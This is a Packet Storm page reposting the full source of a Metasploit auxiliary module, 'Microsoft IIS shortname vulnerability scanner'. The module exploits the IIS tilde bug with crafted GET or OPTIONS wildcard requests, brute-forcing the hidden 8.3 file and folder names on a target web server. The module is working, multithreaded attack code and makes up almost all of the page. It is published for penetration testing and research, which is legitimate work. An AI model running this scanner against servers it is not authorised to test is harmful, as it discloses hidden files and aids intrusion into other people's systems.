Security
Headlines
HeadlinesLatestCVEs

Headline

Microsoft IIS Shortname Scanner

The vulnerability is caused by a tilde character “~” in a GET or OPTIONS request, which could allow remote attackers to disclose 8.3 filenames (short names). In 2010, Soroush Dalili and Ali Abbasnejad discovered the original bug (GET request). This was publicly disclosed in 2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.

Packet Storm
#vulnerability#microsoft#git#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::Report  include Rex::Proto::Http  def initialize(info = {})    super(      update_info(        info,        'Name'        => 'Microsoft IIS shortname vulnerability scanner',        'Description' => %q{         The vulnerability is caused by a tilde character "~" in a GET or OPTIONS request, which         could allow remote attackers to disclose 8.3 filenames (short names). In 2010, Soroush Dalili         and Ali Abbasnejad discovered the original bug (GET request). This was publicly disclosed in         2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.        },        'Author'         =>          [          'Soroush Dalili', # Vulnerability discovery          'Ali Abbasnejad', # Vulnerability discovery          'MinatoTW <shaks19jais[at]gmail.com>', # Metasploit module          'egre55 <ianaustin[at]protonmail.com>' # Metasploit module          ],        'License'     => MSF_LICENSE,        'References'     =>          [            [ 'URL', 'https://soroush.secproject.com/blog/tag/iis-tilde-vulnerability/' ],            [ 'URL', 'https://support.detectify.com/customer/portal/articles/1711520-microsoft-iis-tilde-vulnerability' ]          ]      )    )    register_options([      Opt::RPORT(80),      OptString.new('PATH', [ true, "The base path to start scanning from", "/" ]),      OptInt.new('THREADS', [ true, "Number of threads to use", 20])    ])    @dirs = []    @files = []    @threads = []    @queue = Queue.new    @queue_ext = Queue.new    @alpha = 'abcdefghijklmnopqrstuvwxyz0123456789!#$%&\'()-@^_`{}'    @charset_names = []    @charset_extensions = []    @charset_duplicates = []    @verb = ""    @name_size= 6    @path = ""  end  def check    is_vul ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe  rescue Rex::ConnectionError    print_bad("Failed to connect to target")  end  def is_vul    @path = datastore['PATH']    for method in ['GET', 'OPTIONS']      # Check for existing file      res1 = send_request_cgi({        'uri' => normalize_uri(@path, '*~1*'),        'method' => method      })      # Check for non-existing file      res2 = send_request_cgi({        'uri' => normalize_uri(@path,'QYKWO*~1*'),        'method' => method      })      if res1 && res1.code == 404 && res2 && res2.code != 404        @verb = method        return true      end    end    return false  rescue Rex::ConnectionError    print_bad("Failed to connect to target")  end  def get_status(f , digit , match)    # Get response code for a file/folder    res2 = send_request_cgi({      'uri' => normalize_uri(@path,"#{f}#{match}~#{digit}#{match}"),      'method' => @verb    })    return res2.code  rescue NoMethodError      print_error("Unable to connect to #{datastore['RHOST']}")  end  def get_incomplete_status(url, match, digit , ext)    # Check if the file/folder name is more than 6 by using wildcards    res2 = send_request_cgi({      'uri' => normalize_uri(@path,"#{url}#{match}~#{digit}.#{ext}*"),      'method' => @verb    })    return res2.code  rescue NoMethodError      print_error("Unable to connect to #{datastore['RHOST']}")  end  def get_complete_status(url, digit , ext)    # Check if the file/folder name is less than 6 and complete    res2 = send_request_cgi({      'uri' => normalize_uri(@path,"#{url}*~#{digit}.#{ext}"),      'method' => @verb    })    return res2.code  rescue NoMethodError      print_error("Unable to connect to #{datastore['RHOST']}")  end  def scanner    while !@queue_ext.empty?      f = @queue_ext.pop      url = f.split(':')[0]      ext = f.split(':')[1]      # Split string into name and extension and check status      status = get_incomplete_status(url, "*" , "1" , ext)      next unless status == 404      next unless ext.size <= 3      @charset_duplicates.each do |x|        if get_complete_status(url, x , ext) == 404          @files << "#{url}*~#{x}.#{ext}*"        end      end      if ext.size < 3        for c in @charset_extensions          @queue_ext << (f + c )        end      end    end  end  def scan    while [email protected]?      url = @queue.pop      status = get_status(url , "1" , "*")      # Check strings only upto 6 chars in length      next unless status == 404      if url.size == @name_size        @charset_duplicates.each do |x|          if get_status(url , x , "") == 404            @dirs << "#{url}*~#{x}"          end        end        # If a url exists then add to new queue for extension scan        for ext in @charset_extensions          @queue_ext << ( url + ':' + ext )          @threads << framework.threads.spawn("scanner", false) { scanner }        end      else        @charset_duplicates.each do |x|          if get_complete_status(url, x , "") == 404            @dirs << "#{url}*~#{x}"            break          end        end        if get_incomplete_status(url, "" , "1" , "") == 404          for ext in @charset_extensions            @queue_ext << ( url + ':' + ext )            @threads << framework.threads.spawn("scanner", false) { scanner }          end        elsif url.size < @name_size          for c in @charset_names            @queue  <<(url +c)          end        end      end    end  end  def reduce    # Reduce the total charset for filenames by checking if a character exists in any of the files    for c in @alpha.chars      res = send_request_cgi({        'uri' => normalize_uri(@path,"*#{c}*~1*"),        'method' => @verb      })      if res && res.code == 404        @charset_names << c      end    end  end  def ext    # Reduce the total charset for extensions by checking if a character exists in any of the extensions    for c in @alpha.chars      res = send_request_cgi({        'uri' => normalize_uri(@path,"*~1.*#{c}*"),        'method' => @verb      })      if res && res.code == 404        @charset_extensions << c      end    end  end  def dup    # Reduce the total charset for duplicate files/folders    array = [*('1'..'9')]    array.each do |c|      res = send_request_cgi({        'uri' => normalize_uri(@path,"*~#{c}.*"),        'method' => @verb      })      if res && res.code == 404        @charset_duplicates << c      end    end  end  def run    unless is_vul      print_status("Target is not vulnerable, or no shortname scannable files are present.")      return    end    unless @path.end_with? '/'      @path += '/'    end    print_status("Scanning in progress...")    @threads << framework.threads.spawn("reduce_names",false) { reduce }    @threads << framework.threads.spawn("reduce_duplicates",false) { dup }    @threads << framework.threads.spawn("reduce_extensions",false) { ext }    @threads.each(&:join)    for c in @charset_names      @queue << c    end    datastore['THREADS'].times {      @threads << framework.threads.spawn("scanner", false) { scan }    }    Rex.sleep(1) until @queue_ext.empty?    @threads.each(&:join)    proto = datastore['SSL'] ? 'https' : 'http'    if @dirs.empty?      print_status("No directories were found")    else      print_good("Found #{@dirs.size} directories")      @dirs.each do |x|        print_good("#{proto}://#{datastore['RHOST']}#{@path}#{x}")      end    end    if @files.empty?      print_status("No files were found")    else      print_good("Found #{@files.size} files")      @files.each do |x|        print_good("#{proto}://#{datastore['RHOST']}#{@path}#{x}")      end    end  endend

Packet Storm: Latest News

Backdoor.Win32.Benju.a MVID-2024-0700 Remote Command Execution